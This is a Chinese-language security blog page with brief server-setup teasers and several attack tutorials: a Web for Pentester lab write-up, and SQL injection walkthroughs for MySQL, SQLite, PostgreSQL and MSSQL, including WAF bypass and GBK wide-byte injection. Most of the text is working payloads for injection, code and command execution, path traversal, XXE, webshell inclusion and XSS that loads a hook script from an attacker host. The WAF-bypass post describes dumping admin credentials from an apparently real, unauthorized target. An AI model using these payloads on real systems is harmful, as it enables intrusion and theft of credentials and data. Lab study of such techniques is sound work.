APT404-不作恶

在路上,一直在路上!

Httpd 2.4.27 + Php 5.6.31 + Mysql 5.5.57 + centOS6.8_x64


一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
libiconv-1.14.tar.gz
httpd-2.4.27.tar.gz
mysql-5.5.57.tar.gz
php-5.6.31.tar.gz

要最终完成的架构如下:

1
httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

Read More >>>


env

php5.5.38 + Mysql-5.5.32 + Nginx-1.12.1 + centOS6.8_x64


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
libiconv-1.14.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.12.1.tar.gz
php-5.5.38.tar.gz

此次要实现的大致架构如下:

1
php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

Read More >>>


env

Httpd 2.2.34 + Mysql 5.1.68 + centOS 6.8_x64 + Php 5.2.17



一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
8
httpd-2.2.34.tar.gz
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mcrypt-2.6.8.tar.gz
mhash-0.9.9.9.tar.gz
mysql-5.1.68.tar.gz
php-5.2.17.tar.gz
cronolog-1.6.2.tar.gz

本次要完成的大致架构如下:

1
httpd 2.2.34  + mysql 5.1.68 + centOS 6.8_x64 + php 5.2.17

Read More >>>


env

php5.3.27 + Mysql-5.5.32 + Nginx-1.10.3 + centOS6.8_x64


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.10.3.tar.gz
php-5.3.27.tar.gz

此次要实现的大致架构如下:

1
php5.3.27 + mysql-5.5.32 + nginx-1.10.3 + centOS6.8_x64

Read More >>>


env

Web for Pentester Writeup

sql注入:

(1)没有任何过滤的拼接
''

1
http://192.168.3.51/sqli/example1.php?name=root' and 1=12 union select version(),user(),database(),4,5 --+-

''

(2)只过滤了空白符,用/**/代替即可
''

1
http://192.168.3.51/sqli/example2.php?name=root'/**/and/**/1=112/**/union/**/select/**/1,database(),3,4,5/**/%23

''

(3)跟上面一样,只不过这次过滤了多个空白符,bypass方法同上
''

1
http://192.168.3.51/sqli/example3.php?name=root'/**/and/**/1=12/**/union/**/select/**/user(),2,3,4,5/**/%23

''

(4)用mysql_real_escape_string()把传过来的id先转义再拼接,其实这里跟没任何过滤是一样的,因为我们的注入语句里根本也没有单引号这类敏感字符
''

1
http://192.168.3.51/sqli/example4.php?id=2 and 12=1 union select 1,version(),3,4,5 %23

''

(5)要求开头是任意数字,开头本来就是数字呀,搞不懂,所以根本不存在什么绕过,正常写注入语句即可
''

1
http://192.168.3.51/sqli/example5.php?id=2 and 1=12 union select version(),2,3,4,5 %23

''

(6)要求结尾是任意数字,那就按它说的呗,结尾随便给个数字就好了
''

1
http://192.168.3.51/sqli/example6.php?id=2 and 1=12 union select version(),2,3,4,5 %233

''

(7)注意这里的’/m修饰符,对,没错,就是它,表示多行匹配,所以用%0a换行下即可绕过
''

1
http://192.168.3.51/sqli/example7.php?id=2%0aand%0a1=112%0aunion%0aselect%0auser(),2,3,4,5%0a%23

''

(8)用mysql_real_escape_string()做了下转义,而后再拼接,不过需要注意下,这里是用反引号闭合的,虽然没法正常注入,不过盲注依然可行的
''

1
http://192.168.3.51/sqli/example8.php?order=name`,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

(9)同上,利用时间盲注依然是可行的
''

1
http://192.168.3.51/sqli/example9.php?order=name,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

php代码执行:

(1)把没有任何过滤的内容就直接给eval,将前后的双引号闭合即可
''

1
http://192.168.3.51/codeexec/example1.php?name=";system('ls -la');phpinfo();//

''

(2)同样,对传入的值没有任何过滤,crate_function()相必大家都已经非常熟悉了,专门用来组装函数,在以前的各类php代码执行漏洞中经常能看到它的影子,它会出现代码执行的根本原因还是它内部还会有个eval的动作
''

1
http://192.168.3.51/codeexec/example2.php?order=id,$b->name);}system('ls -al');//

''

(3)preg_replace()本来是个挺正常的正则替换函数,但加了/e修正符后,瞬间就污了很多,要替换的内容的那一部分会被当做php代码来执行
''

1
http://192.168.3.51/codeexec/example3.php?new=system('ls -l')&pattern=/lamer/e&base=Hello lamer

''

(4)闭合前面的单引号,再拼接自己的php代码即可,典型的代码执行函数assert(),不多说,大家应该非常熟悉了,各类php一句话中经常也能看到
''

1
http://192.168.3.51/codeexec/example4.php?name=hacker'.system('ls -la');//

''


任意文件读取:

(1)对传入的文件路径没有进行任何过滤,直接跟上要读的文件即可
''

1
http://192.168.3.51/dirtrav/example1.php?file=../../../../etc/passwd

''

(2)把’/var/www/files/‘这个路径截掉,然后只取后面的文件名,绕过自然也很简单,在这个路径的基础上继续跟上正常的文件路径即可
''

1
http://192.168.3.51/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd

''

(3)拼接了个.png的后缀,%00截断后缀php高版本早已修复该漏洞
''

1
http://192.168.3.51/dirtrav/example3.php?file=../../../../etc/passwd%00

''

php文件包含:

(1)没有任何过滤的包含,直接包含本地的webshell即可,如下,被包含的大马正常执行
''

1
http://192.168.3.51/fileincl/example1.php?page=../upload/images/404.php

''

(2)在后面拼接了个.php的后缀,同样,利用%00截断
''

1
http://192.168.3.51/fileincl/example2.php?page=../upload/images/404.php%00

''

命令执行:

(1)没有任何过滤的传入,在linux中可用分号分割连续执行多个命令,win中可用&&
''

1
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la

''

(2)一眼看去,这个ip正则确实没法突破,但后面却紧跟了个/m修饰符,不得不又让我想起了%0a换行
''

1
http://192.168.3.51/commandexec/example2.php?ip=127.0.0.1%0als -la

''

(3)header()后面竟然没有结束脚本,大忌,header()只是跳转到指定页面,但如果你不手工结束当前脚本,即使跳到别的页面,当前脚本也依然会执行完再退出
''

1
2
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la
C:\>curl "192.168.3.51/commandexec/example3.php?ip=127.0.0.1;ls" 注意这里不能用浏览器了,因为它会跳过去,不过,你可以用curl来看结果

''

XXE注入:

(1) 对外部的xml数据没有任何过滤,此时创建一个外部实体,而实体的作用是读取/etc/passwd文件,然后引用该实体,注意要url编码下
''

1
2
http://192.168.3.51/xml/example1.php?xml=<!DOCTYPE result [<!ENTITY res SYSTEM "file:///etc/passwd" >]><text>&res;</text>
http://192.168.3.51/xml/example1.php?xml=%3C%21DOCTYPE%20result%20%5B%3C%21ENTITY%20res%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%20%3E%5D%3E%3Ctext%3E%26res%3B%3C%2ftext%3E

''

(2)没有任何过滤的拼接
''

1
http://192.168.3.51/xml/example2.php?name=hacker'] | //*| //*['

''



ladp注入:

(1)ldap允许匿名登录
''

1
http://192.168.3.51/ldap/example1.php

''

(2)闭合原有的过滤器,把后面的password截断即可
''

1
http://192.168.3.51/ldap/example2.php?name=hacker)(cn=*))%00&password=hacker



xss:

(1)没有任何过滤的情况
''

1
http://192.168.3.51/xss/example1.php?name=<script>alert('hello')</script>

''

(2)只过滤了’‘,大小写转换
''

1
http://192.168.3.51/xss/example2.php?name=<Script>alert('hello')</sCript>

''

(3)这次依然是过滤’‘,且不区分大小写,在>前面加个空格即可绕过
''

1
http://192.168.3.51/xss/example3.php?name=<ScripT >alert('hello')</Script >

''

(4)不分区大小写过滤了’script’字符,没关系,把它转成对应的ASCII就好了
''

1
http://192.168.3.51/xss/example4.php?name=<svg/onload="var i=String.fromCharCode(115, 99, 114, 105, 112, 116);s = createElement(i);body.appendChild(s);s.src='http://192.168.3.28:3000/hook.js';"

''

(5)过滤了alert,可惜我们都没用alert
''

1
http://192.168.3.51/xss/example5.php?name=hacker<script src="http://192.168.3.28:3000/hook.js"></script>

''

(6)闭合前面的双引号,继续写js代码就好了
''

1
http://192.168.3.51/xss/example6.php?name=script";s=document.createElement($a);s.src="http://192.168.3.28:3000/hook.js";document.getElementsByTagName( "head" )[0].appendChild(s);//

''

(7)对特特殊字符进行实体化,但这似乎并没能改变什么
''

1
http://192.168.3.51/xss/example7.php?name=script';s=document.createElement($a);s.src='http://192.168.3.28:3000/hook.js';document.getElementsByTagName( 'head')[0].appendChild(s);//

''

(8)闭合action的另一半双引号,后面再跟上script标记即可绕过
''

1
http://192.168.3.51/xss/example8.php/"><script>alert('hello')</script>

''

(9)location.hash.substr获取的内容没有任何过滤
''

1
http://192.168.3.51/xss/example9.php#<script src=http://192.168.3.28:3000/hook.js></script>

''

php文件上传:

(1)没有任何过滤,直接传php,大马正常执行
''

1
http://192.168.3.51/upload/example1.php

''

''

(2)黑名单绕过,只要.php后缀,.php3即可绕过
''

1
http://192.168.3.51/upload/example2.php

''

''



小结:
    闲的没事儿,拿来跑跑,没啥技术含量,顺带记录下,只为留给有需要的人


Bypass Waf入门之sql注入 [ 内联注释篇 ]

0x01 前言
    昨天在搞一个目标的旁站时凑巧又碰到了waf,当然啦,这个waf比较弱,基本是弱到没朋友的那种,但为了博客的完整性,这里还是顺便就记录一下,留给有需要的朋友,方法非常简单,关于bypass waf的东西其实特别多,这里暂时只提一种,”内联注释”,招数早已经烂大街了,后续再遇到其它的bypass实例,也会继续更新到博客上,废话少说,看实例吧:

0x02 依旧是先判断注入点是否存在,很显然,’and’没有拦

1
2
http://www.target.com/news/show1.php?id=1102 And 1212=1212  返回正常
http://www.target.com/news/show1.php?id=1102 And 1212=121 返回异常,注入存在

''
''

0x03 我们观察到,当字段个数为11的时候页面返回正常,说明当前表字段个数为11个,’order by’ 也没有拦,到这里为止,凭着一点经验自己心里就有种感觉,这个waf肯定非常好过,接着往下看吧

1
http://www.target.com/news/show1.php?id=1102 OrDer by 11

''

0x04 开始搜集信息,这时我们发现waf似乎开始起作用了,拦了我们的内置函数

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,user(),version(),database(),6,7,8,9,10,11 --+-

''

0x05 既然拦了函数,咱们就把函数给注释一下看看,然后就这么容易的通过了[以为还要折腾很久],好吧,既然它对这种内联注释感冒,那后面我就把所有的关键字都用这种方式包起来,省的我一个个猜它到底拦哪个

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,/*!user()*/,version(),database(),6,7,8,9,10,11 --+-

''

0x06 查询当前库中的所有表,这类我们看到了’t_admin’这张管理表

1
http://www.target.com/news/show1.php?id=1102 aNd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(table_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=0x686e797075686b315f7363686f6f6c --+-

''

0x07 查询’t_admin’表中的所有字段名,如下

1
http://www.target.com/news/show1.php?id=1102 ANd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(column_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.columns*/ /*!where*/ /*!table_name*/=0x745f61646d696e --+-

''

0x08 就剩最后一步了,查出管理员的账号密码即可

1
http://www.target.com/news/show1.php?id=1102 anD 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!admin_name*/,/*!admin_password*/,5,6,7,8,9,10,11 from /*!t_admin*/ /*!limit*/ 0,1--+-

''

小结:
    没啥实际的技术含量,只是为了博客完整性稍作记录而已,关于bypass waf后续还会有很多的篇幅来说明,待续…


Sql注入入门 之 Sqlite3常规注入 [ Union方式 ]



1,本次 sqlite3 实例注入点,如下:

1
http://vuln.com/index.php?id=50&ca=7

''

2,依旧是迷人的单引号,尝试干扰id参数,返回sqlite数据库报错,具体报错信息如下

1
http://vuln.com/index.php?id=50'&ca=7

''

3,尝试闭合

1
http://vuln.com/index.php?id=50 and 1=1 &ca=7    条件为真时,页面返回正常,数字型注入

''

1
http://vuln.com/index.php?id=50 and 1=112 &ca=7  条件为假时,页面

''

4,查询当前表中的字段个数

1
http://vuln.com/index.php?id=50 order by 38 &ca=7 个数为38时返回正常

''

1
http://vuln.com/index.php?id=50 order by 39 &ca=7  个数为39时返回错误,说明当前表存在38个字段

''

8,执行union爆出对应的数据显示位,这个的显示位稍微有点儿跑偏,数据显示位在title标记里,你可以右键源代码进行查看

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--&ca=7

''

9,有了数据位,接下来正常的查数据就可以了,还是先搜集下数据库信息,获取当前sqlite版本

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--&ca=7

''

10,查出所有表名,这里可以用burpsuite来跑比较方便

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM sqlite_master WHERE type='table' limit 0,1 --&ca=7

''

''

''

''

11,直接一次性查出所有表名及每张表所对应的表结构

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,sql,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM sqlite_master WHERE type='table' limit 0,1  --&ca=7

''

''

''

12,查出对应字段下的账号密码数据

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,login||'::'||pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM utilisateurs limit 0,1  --&ca=7

''

一点小结:
    关于sqlite注入实在没什么好说的,非常简单,作为access的替代品,在注入方式上几乎没什么不同,多找实例练习即可……


Sql注入入门 之 Postgresql常规注入 [ Union方式 ]



1,用于演示的 postgresql 常规注入点,如下:

1
http://192.168.3.51/cat.php?id=1

''

2,依然是一个神奇的单引号,pgsql返回报错,这里可能需要您稍微注意下pgsql的报错信息,pg_前缀一般指的都是postgresql数据库,而像ora前缀一般指的都是oracle数据库,mysql一般都是mysql的前缀,稍微注意下就行

1
http://192.168.3.51/cat.php?id=1'

''

3,典型的常规数字型注入

1
http://192.168.3.51/cat.php?id=1 and 1=1 	条件为真时,页面返回正常

''

1
http://192.168.3.51/cat.php?id=1 and 1=112  条件为假时,页面返回异常

''

4,查询当前表的字段个数

1
http://192.168.3.51/cat.php?id=1 order by 4  字段个数为4时返回正常

''

1
http://192.168.3.51/cat.php?id=1 order by 5  字段个数为5时返回错误,可知当前表的字段个数为4

''

5,因为postgresql不支持像mysql或者access那样直接用数字来表示,所以这里只能用null来表示,null可以兼容任意数据类型嘛,sqlmap默认都是用null进行探测

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,null,null,null --

''

6,在得知确切的字段个数后,紧接着就该爆出数据显示位了,这里依然不像数字那么直接,我们需要逐个字段尝试可以正常显示数据的字段位,因为union要求前后的数据字段类型和个数都要完全一致才可以,利用这一特性,我们可以知道某个字段是什么数据类型,可以看到第二个字段是字符型的,也就是说我们等会儿可以把查出来的数据都显示在这个字段上

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,'s',null,null --

''

7,搜集数据库的各种信息
获取当前数据库版本

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,version(),null,null --

''

获取当前数据库用户名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_user,null,null --

''

获取当前当前数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_database(),null,null--

''

8,获取当前数据库中所有具有dba(数据库管理员)权限的用户,同样是利用limit即可依次遍历出所有具有dba权限的用户名,只不过这里的limit和mysql中的limit有点儿不大一样,中间并不是用逗号而是直接用了个offset关键字,来设置偏移量

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,usename,null,null FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0--

''

9,获取所有的数据库名(有权限看到的所有数据库名),同样是利用limit即可依次遍历出所有数据库名,实际注入中,用burupsuite跑下即可
如下,获取第一个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 0 --

''

如下,获取第二个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 1 --

''

10,获取当前库中所有的表名
获取第一张表名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public'  limit 1 offset 0 --

''

获取第二张表名,看到’users’ 正是我们想要的管理表

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public'  limit 1 offset 1 --

''

11,获取users表中的所有字段名
获取users表中的第二个字段名,其结果为’password’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 1 --

''

获取user表中的第三个字段名,其结果为’login’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 2 --

''

12,获取对应账号密码字段的数据即可

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,login||'::'||password,null,null from public.users--

''

最终,获取到的数据如下

1
admin::8efe310f9ab3efeae8d410a8e0166eb2




一点小结:
    关于pgsql的常规手注大概就这些了,跟mysql还有mssql的注入都非常接近,比较简单,就不多说了,大家多练习,多实战,然后不断解决实际中遇到的各种各样的问题,长此以往快就能慢慢积累自己的实战经验了,进步自然就稳健多了……


Sql注入入门 之 Mssql常规显错注入



1,mssql常规显错型,实例注入点,如下:

1
http://vuln.com/Product.aspx?id=8

''

2,依旧先尝试经典的单引号,数据库如期报错,报错原因的很清楚,参数后面多了单引号,不过这也恰好说明我们的单引号已被带入正常查询,其实,到此为止,根据以往的经验我们也可以判断这里百分之九十是个mssql注入点,因为这很显然不是其他数据库的报错信息嘛

1
http://vuln.com/Product.aspx?id=8'

''

1
http://vuln.com/Product.aspx?id=8 and 1=1  条件为真,页面返回正常

''

1
http://vuln.com/Product.aspx?id=8 and 1=112 条件为真,页面返回异常,典型的数字型注入

''

3,我们可以用下面的语句进一步确实目标是否真的为mssql数据库,页面返回正常则是,返回异常则不是,根据返回,没跑了,这确实是个正儿八经的mssql数据库,’sysobjects’是mssql的系统表

1
http://vuln.com/Product.aspx?id=8 and exists(select * from sysobjects)

''

4,好吧,没说的,开始写注入语句,获取当前mssql版本,可知当前数据库版本为 2008R2

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select @@VERSION))--

''

5,获取目标机器的机器名,看机器名主要是因为有时候我们想从机器名上得知这个机器大概是干嘛的,有没有可能在内网,都可以通过这个来初步判断下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select  @@servername))--

''

6,获取当前的数据库用户名,当前数据库用户名为 ‘easysofts_kiran’,非sa,关于sa权限下的注入利用方式,后续还会有单独说明,今天的重点还是显错注入,所以为了防止跑题,这里就不多说了

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select suser_sname()))--

''

7,看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程

1
http://vuln.com/Product.aspx?id=8 and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') --

''

8,看下当前角色是否为数据库管理员,返回如下报错,很显然,并不是

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember('sysadmin')))--

''

9,再看下当前角色是否为db_ownwer,我们很清楚,在这样的权限下我们可以通过各种备份方式往目标的网站目录里写文件(webshell),很显然,也不是

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select  IS_MEMBER('db_owner')))--

''

10,根据上面得到的这些信息,我们发现,这就是个再正常不过的显错mssql数字型注入点,好吧,既然如此,那就按照常规查数据的方式一步步的慢慢来吧
首先,获取当前数据库名,如下可知当前数据库名为 ‘easysofts’,db_name()在不带任何参数时表示显示当前数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name()))--

''

如下表示第二个数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(1)))--

''

如下表示第六个数据库名,像这样重复性的动作,我们依然是可以交给burpsuite来完成

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(5)))--

''

当然,在此之前你还可以先统计下总共有多少个库,这样,我们在burpsuite中设置payload的时候就可以更精确点了,节省时间,不过,如果你直接使用下面的语句可能会报错

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--

''

把里面的’+’换成%2b即可解决问题,如下

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )%2bCHAR(58)%2bCHAR(58)))--

''

11,获取当前数据库中的所有表名
如下表示获取当前库的第一张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables ))--

''

通过not in条件,把每次查出来的表名都加进去,这样就可以慢慢把所有的表都遍历出来,如下表示获取第二张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') ))--

''

获取第三张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu') ))--

''

获取第四张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login') ))--

''

利用上面的方法,循环往复,直到报错为止,最后得到所有的表名如下,很显然,’login’就是我们想要的管理表

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login','footer','feedback','header','slider','services','product') ))--

''

当然,你也可以像前面一样,事先统计下当前库中表的总个数:

1
http://vuln.com/Product.aspx?id=8  AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )%2bCHAR(58)%2bCHAR(58)))--

''

12,接着,获取’login’表中的所有字段名,获取的方式同上,利用not in依次遍历出所有的字段名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))--

''

最后,获取的所有字段,名如下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' and column_name not in('login_id','username','password','name')  ))--

''

13,有了表名,字段名接下来的事情就很好办了,直接去查出对应字段下的数据即可
获取username字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 username from login ))--

''

获取password字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 password from login ))--

''

统计login中有多少条记录

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM login)%2bCHAR(58)%2bCHAR(58)))--

''

假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行,如下就表示没权限,如果是这样你就要好好想想别的办法了:

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC))--

''

一点小结:
    关于mssql的注入语句,大家也看到了,跟mysql也差不了多少,都是从information_scheam库中获取各种数据,不过,核心还是利用convert()函数的高级显错特性,多练习多总结即可,里面暂时也没什么特别多的技术含量,比mysql好的地方就是它可能支持堆查询,这样在写注入语句的时候就很方便了,在此只是为了让大家看的更完整一些,所以写的相对比较细,在实际渗透中,怎么简洁,怎么快,怎么方便,怎么搞,完全不用刻意去按照我们的流程来,举一反三,灵活变通才是关键当然,mssql本身还有很多高级特性,但,这不是一两篇文章就能说的清楚的,来日方长,慢慢积累吧……


Sql注入入门 之 Mysql宽字节注入



1,如下,宽字节注入的原型实例代码,注意连接字符集为gbk,对传入的值已用addslashes()做了转义,另外,php是把id当做一个字符串来接收的,后面在闭合的时候需要注意下,具体如下:
''

2,本此用于测试的 宽字节注入点,如下

1
http://192.168.3.23/wide/0x01/index.php?id=2

''

3,这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了

1
http://192.168.3.23/wide/0x01/index.php?id=2'

''

4,现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’\’已经罢工了
''

5,通过观察打出来的sql语句,可以发现,那个 ‘%df’和’\’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下

1
http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23   条件为真时返回正常

''

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为真时返回异常

''

6,查询当前表的字段个数

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常

''

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段

''

7,执行union,爆出对应的数据显示位

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23

''

8,搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23

''

9,查出当前库中的所有表名

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23

''

10,查出admin表中的所有字段名

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23

''

11,最后,去查出管理的账号密码数据即可

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23

''

一点小结:
    篇幅原因,这里只简单演示了GBK一种编码,至于GB2312等其它的一些宽字节字符集,也都会有这样的问题,关于宽字节注入,其实原理非常简单,就是数据库对不同编码的理解差异所造成的,最好的修复方法,就是全站(前后端全局统一)统一用utf-8,在适当的闭合后,注入语句和常规的注入语句基本没有任何差别,记得多找实例练习即可